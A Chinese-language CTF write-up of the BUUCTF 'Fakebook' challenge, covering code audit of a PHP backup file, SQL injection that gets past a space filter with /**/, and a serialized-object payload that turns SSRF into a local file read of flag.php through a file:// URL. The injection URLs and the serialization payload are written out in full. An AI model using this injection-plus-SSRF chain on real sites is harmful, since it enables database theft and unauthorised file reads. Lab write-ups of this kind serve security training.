[BUUCTF-WEB] [网鼎杯 2018]Fakebook

525 阅读2分钟

Subject

SQL Injection SSRF PHP 代码审计


Mind Palace

查看 /robots.txt 发现不被爬虫访问的文件 /user.php.bak

访问文件获得 bak 后缀的代码

审计 PHP 代码:[Reference]

用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。

在网页中注册一个用户,登录再进入用户界面的时候,猜测有注入点:

==> 字符型

order by 1->5--
在 5 的时候报错,说明有 SQL 语句中有 4 列数据

有 WAF 存在;fuzz一下 --> union 和 select 单独都是没有被过滤的;猜测是对空格进行了过滤 ==> 尝试使用 /**/ or + 去替换空格 --> /**/ 是有效的

找到注入点:

http://7d0f0d11-18a5-40a4-93bc-72fc57c82757.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/111,(select/**/group_concat(table_name)/**/from information_schema.tables/**/where/**/table_schema='fakebook'),333,444--
==> table_name: users

http://7d0f0d11-18a5-40a4-93bc-72fc57c82757.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/111,(select/**/group_concat(column_name)/**/from information_schema.columns/**/where/**/table_name='users'),333,444--
==> column_names: no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

进一步查看data中的数据:
http://7d0f0d11-18a5-40a4-93bc-72fc57c82757.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/111,(select/**/group_concat(data)/**/from/**/users),333,444--

==>

UserInfo:
    name: w
    age: 1
    blog: http://111.com

看出对用户注册时填写的 name age blog_addr 进行序列化 ==>

利用的变量在构造函数中,反序列化对象会自动执行构造函数 ==> 将需要构造的 SSRF 放在 blog 属性中,让其在反序列化时被调用 ==> (id, username, age, blog ) blog 属性在第四位

<?php
class UserInfo{
    public $name = "e";
    public $age = 18;
    public $blog = "file:///var/www/html/flag.php";
}

$obj = new UserInfo();
echo serialize($obj);
?>
payload:
view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"e";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27--

base64 解码后获得 flag


Look Ahead

  • 查看 robots.txt 获得 PHP 源码,代码审计发现存在可利用的 SSRF
  • 查看用户的页面发现字符型 SQL 注入,发现 data 数据是序列化的,并且后台有反序列的过程
  • 结合利用 SQL Injection with bypass + Unserialize + SSRF 获取 flag.php

END ψ(`∇´)ψ